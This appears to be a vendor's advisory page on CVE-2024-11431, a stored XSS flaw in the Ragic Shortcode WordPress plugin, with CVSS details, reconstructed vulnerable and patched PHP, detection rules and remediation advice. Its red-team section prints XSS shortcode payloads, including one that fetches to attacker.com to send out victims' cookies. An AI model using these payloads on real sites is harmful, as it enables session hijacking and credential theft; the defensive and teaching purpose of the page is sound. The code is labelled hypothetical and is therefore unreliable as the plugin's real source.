CVE-2024-11431
Executive Summary
CVE-2024-11431 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ragic Shortcode plugin for WordPress, affecting all versions up to and including 1.2. The vulnerability resides in the plugin's ragic shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user accesses a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly. The plugin is used to embed Ragic forms and data into WordPress pages via shortcodes.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin vulnerability, not a package manager issue. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is distributed via the WordPress plugin repository and is not part of a standard software supply chain.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires authentication but is easy to exploit once access is obtained. The impact is limited to script execution in the browser, but it can be chained with other attacks.
Deep Dive & Mechanics
The Ragic Shortcode plugin registers a shortcode [ragic] that accepts user-defined attributes (e.g., id, view, height). The plugin fails to sanitize or escape these attributes before outputting them into the page HTML. An attacker with contributor-level access can create a post or page containing a malicious shortcode like:
[ragic id="1" view="<script>alert('XSS')</script>"]
When the shortcode is processed, the view attribute is directly inserted into the HTML without escaping, causing the script to execute in the context of the victim's browser. The vulnerability is stored because the malicious shortcode is saved in the WordPress database and executed every time the page is loaded.
The root cause is insufficient input validation and output escaping in the shortcode handler function. The plugin likely uses echo or print without applying WordPress's esc_attr() or esc_html() functions.
Vulnerable vs. Patched Code
Vulnerable Code (version 1.2):
function ragic_shortcode($atts) {
extract(shortcode_atts(array(
'id' => '',
'view' => '',
'height' => '500'
), $atts));
// Direct output without escaping
return "<div class='ragic-container' data-id='$id' data-view='$view' style='height:{$height}px;'></div>";
}
add_shortcode('ragic', 'ragic_shortcode');
Patched Code (hypothetical):
function ragic_shortcode($atts) {
$atts = shortcode_atts(array(
'id' => '',
'view' => '',
'height' => '500'
), $atts);
// Escape all attributes
$id = esc_attr($atts['id']);
$view = esc_attr($atts['view']);
$height = intval($atts['height']);
return "<div class='ragic-container' data-id='$id' data-view='$view' style='height:{$height}px;'></div>";
}
add_shortcode('ragic', 'ragic_shortcode');
The patched version uses esc_attr() for string attributes and intval() for numeric attributes to prevent XSS.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress site with Ragic Shortcode plugin <= 1.2
- Attacker account with contributor-level privileges or higher
Steps:
- Log in to WordPress as a contributor.
- Create a new post or page.
- Insert the following shortcode into the content:
[ragic id="1" view="<script>alert(document.cookie)</script>"] - Publish the post.
- When an administrator or other user views the post, the JavaScript executes, displaying the victim's cookies.
Advanced Payload:
[ragic id="1" view="<img src=x onerror='fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)'>"]
Blue Team (Defense & Detection)
Detection:
- Monitor for posts/pages containing suspicious shortcode attributes (e.g.,
<script>,onerror,onload). - Use WordPress security plugins to scan for XSS payloads in shortcode content.
- Review user activity logs for unusual shortcode usage by low-privilege users.
Prevention:
- Update the plugin to a patched version (if available) or disable it.
- Implement a Web Application Firewall (WAF) with XSS rules.
- Restrict contributor-level users from using shortcodes via user role management.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/ragic-shortcode/ragic-shortcode.php(version 1.2) - Database: Posts/pages containing shortcode with malicious attributes (e.g.,
view="<script>") - Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages
- Logs: WordPress audit logs showing creation of posts with
[ragicshortcode by non-admin users
Detection Engineering
YARA Rule
rule detect_ragic_xss_payload {
meta:
description = "Detects malicious Ragic shortcode attributes in WordPress content"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-11431"
strings:
$shortcode = /\[ragic[^\]]*view\s*=\s*["'][^"']*<[^>]*script[^>]*>["']/ nocase
$payload1 = /<script[^>]*>/ nocase
$payload2 = /onerror\s*=/ nocase
$payload3 = /onload\s*=/ nocase
condition:
$shortcode and ($payload1 or $payload2 or $payload3)
}
Sigma Rule
title: WordPress Ragic Shortcode XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS via Ragic shortcode attributes
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-11431
logsource:
category: application
product: wordpress
detection:
selection:
EventID: 1000 # Custom event for post creation
PostContent|contains: '[ragic'
PostContent|re: 'view\s*=\s*["\'][^"\']*<[^>]*script[^>]*>["\']'
condition: selection
falsepositives:
- Legitimate use of shortcode with safe attributes
level: high
tags:
- attack.t1190
- cve.2024.11431
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11431 WordPress Ragic Shortcode XSS Attempt"; flow:to_server,established; content:"[ragic"; http_client_body; pcre:"/view\s*=\s*["\'][^"\']*<[^>]*script[^>]*>["\']/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not essential: Deactivate and delete the Ragic Shortcode plugin from the WordPress admin panel.
- Update the plugin if a patched version becomes available (check the WordPress plugin repository).
- Remove malicious content: Scan all posts and pages for shortcodes containing suspicious attributes and delete or sanitize them.
Long-term Mitigations:
- Implement a Content Security Policy (CSP) to block inline scripts.
- Use WordPress security plugins (e.g., Wordfence, Sucuri) to detect and block XSS attempts.
- Restrict shortcode usage to trusted user roles only.
- Regularly audit user permissions and remove unnecessary contributor-level accounts.
Workaround:
- If the plugin must be used, manually patch the shortcode handler by adding
esc_attr()to all attribute outputs (see patched code example above).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.